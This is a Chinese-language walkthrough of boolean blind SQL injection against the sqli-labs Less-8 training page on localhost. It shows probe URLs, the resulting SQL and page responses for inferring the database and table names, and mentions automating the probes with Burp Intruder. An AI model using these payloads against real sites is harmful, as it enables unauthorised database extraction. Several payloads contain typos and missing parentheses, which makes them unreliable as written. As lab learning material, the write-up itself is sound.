后端不往前端返回具体的数据库的值,通过页面显示正常与否,判断SQL注入的值是否为真。
当url为
127.0.0.1/less-8/?id=1
对应的SQL语句
SELECT * FROM users WHERE id = ‘1’ LIMIT 0,1
当url为
127.0.0.1/less-8/?id=1’
结果:
发现页面正常情况下You are in…
加上’之后You are in 不在了
对应的SQL语句为
SELECT * FROM users WHERE id = ‘1’’ LIMIT 0,1
127.0.0.1/less-8/?id=1’and ‘1’='1
SELECT * FROM users WHERE id = '1’and ‘1’=‘1’ LIMIT 0,1
发现页面返回正常仍然是 You are in…
127.0.0.1/less-8/?id=1’ and ‘1’='2
SELECT * FROM users WHERE id = ‘id=1’ and ‘1’=‘2’ LIMIT 0,1
页面返回不正常,看不到 You are in…
所以判断网页是存在SQL注入漏洞的
没有报错注入,代码的正确回显并没有返回数据库的内容,只能根据页面是否返回条件,判断SQL语句是否正确。
127.0.0.1/less-8/id=1’ and left((select database()),1)=‘s’–+
SELECT * FROM users WHERE id = ‘1’ and left((select database()),1)=‘s’–+’ LIMIT 0,1
判断当前库的首字母是不是’s’
返回You are in …
说明当前数据库首字母是’s’
查当前库中,第一个库中第一个表的第一个首字母
构造url方法:
127.0.0.1/less-8/id=1’ and left((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1)=‘e’–+
SELECT * FROM users WHERE id = ‘1’ and left((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1)=‘e’–+’ LIMIT 0,1
借助bp方法:
使用bp的Intruder模块进行一个盲注,快速循环表名的每个字母
同样的方法结合bp,判断数据库里有哪些列。
实现对数据库信息的获取
查询当前库名,正则表达第一位是以s开头
127.0.0.1/less-8/?id=1’ and (select database()) regexp ‘^s’ --+
SELECT * FROM users WHERE id = ‘1’ and (select database()) regexp ‘^s’ --+’ LIMIT 0,1
页面返回 You are in…表示数据库的首字母确实为s
如果对数据库中的表进行查询
127.0.0.1/less-8/?id=1’ and select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp ‘^s’ --+
结合bp快速判断
判断当前数据库中以e开头的表
127.0.0.1/less-8/?id=1’ and select table_name from information_schema.tables where table_schema=database() limit 0,1) like ‘e%’–+
127.0.0.1/less-8/?id=1’ and ascli(substr(seletc database(),1,1))=98–+